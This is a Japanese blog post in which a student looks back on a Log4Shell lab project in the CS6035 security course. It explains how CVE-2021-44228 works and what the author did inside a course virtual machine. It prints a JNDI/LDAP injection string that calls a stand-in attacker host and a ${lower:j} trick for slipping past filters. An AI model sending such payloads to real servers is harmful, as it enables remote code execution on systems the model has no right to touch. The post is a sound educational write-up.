CS6035について
そもそも今わたしがどんな授業を取っているのかという説明は、下の記事で軽く説明しているのでよろしければご覧ください。
Project7の概要
今回はLog4shellというタイトルのProjectでした。
特にシステム開発界隈にいる方なら、このタイトルを聞いてピンときた方もいらっしゃるのではないでしょうか。
そう、2年ほど前に見つかり、影響範囲が大きすぎて大騒ぎになった脆弱性です。
Projectの内容としては以下の通りです。
- Log4shellというのがどういう脆弱性なのか、読み物や動画で学ぶ
- プロジェクト用に作られた仮想マシン上で、脆弱性を使い実際に攻撃してみる
学んだことを3つ
例によって学びは多いんですが、改めて人に説明できるほど理解できた部分はさほど多くないです。それでも挙げるとすると↓のようになります。
- そもそもLog4shell脆弱性とは何なのか
- ログに出力している部分が攻撃対象になる
- 一度攻撃が成功すると本当に何でもできてしまう
Log4shell脆弱性とは
あれだけ大騒ぎになったのに、実はよく知らなかったLog4shell。
Wikipediaによると、
Log4Shell(別名CVE-2021-44228)は、よく使われているJavaログフレームワーク(英語版)のLog4jで発見されたゼロデイの任意コード実行脆弱性である。この脆弱性は、2021年11月24日にAlibabaのクラウドセキュリティチームによって秘密裏にApacheに報告され、2021年12月9日に一般に公開された。
この脆弱性は、Log4jがLDAPとJNDIのリクエストをチェックしないことを利用している。これにより、攻撃者は任意のJavaコードをサーバーや他のコンピュータ上で実行できてしまう。
Log4Shell – Wikipedia
とのこと。
実際の攻撃の流れとしては
- 脆弱性をもつLog4Jを搭載する被害者サーバーに悪意のあるリクエストを送る(一番ポピュラーな方法だと、User-Agent等、ログ出力に使われるようなヘッダーに↓のような文字列を入れてリクエストする)
${jndi:ldap://example.attacker.com}
↓
2. 被害者サーバーが受け取ったリクエストにある悪意のある文字列をそのままログに出力してしまい、結果悪意のあるLDAPサーバー(今回ならexample.attacker.com)にクエリを送信する
↓
3. LDAPサーバーから悪意のあるJavaクラスをクエリにより受け取り、それを実行する
というようになります(おおまかには合ってるはず)。
ログに出力している部分が攻撃対象になる
上のような流れの攻撃である以上、ひとまず大事なのが「受け取った値をそのままログ出力しているかどうか」です。
実際課題でも、ログに出力されている内容をよく読み、どれが攻撃の窓口として使えるかを精査しなさいと繰り返し言われました。
逆に言えば、そのまま出力をしていなければ対象になる可能性は下がるのかなと。
回避方法としては、jndiを含むリクエストは出力しない、のような方法があります。ですが、たとえば${lower:j}ndiのような形のリクエストは結局jndiにシステム側で変換されてしまい結局攻撃の窓口になるので、この方法はいたちごっこになる未来しかありません。
一度攻撃が成功すると本当に何でもできてしまう
最終的に、悪意のあるサーバーからJavaクラスを取得し実行することで、攻撃側の意図を完遂します。
Javaと言えば、業務用でも広く使われていることからわかる通り、コードを書いてできることは多いです。
ということで本当に何でもできます。
例えば今回の課題では、
- サーバーの環境変数の出力
- /bin/bashコマンドの遠隔実行
- バリデーションをスキップ
- ユーザーファイルの書き換え
等々、結構いろいろやりました。
こういうことができてしまう脆弱性が見つかったのが、大昔ではなくたった2年前というのが恐ろしいです。
全体の感想
最初にLog4shellの仕組みを理解するのにすごく時間がかかりました(1週間)。
だってJavaなんて勉強の手段としてしか使ったことないし、LDAP?Log4J?みたいな状態でした。ぱっと読み物を読んで理解した気になり、課題に早速行き詰っては読み物を読み直す、をただ繰り返してました。
ですがそこさえクリアしてしまえば、あとはJavaの問題。さほど苦労するところはなかったです。
というわけで今回の課題は、時間にして20時間、日数としては11/7~11/18の約10日ほどかかりました。けれど途中いやになって1週間ほどそっぽ向いていたため、全体でかかった時間はそれほど多くない印象です。
Java言語を実用レベルで使っったり、2年前に奔走した経験がある人はそれほど苦労せずに終わるんじゃないかと思います。
必要な技術等
書き出してみましたが、どれもコース全体で必要とされている技術であり、今回のプロジェクト特有の必須技術というのは特になかったです。
- Javaの基礎
- Javaの遠隔実行、JNDI/LDAPやロガーの知識
- curlコマンド
- Linuxの基礎的なコマンド
- Oracle VM VirtualBox
にほんブログ村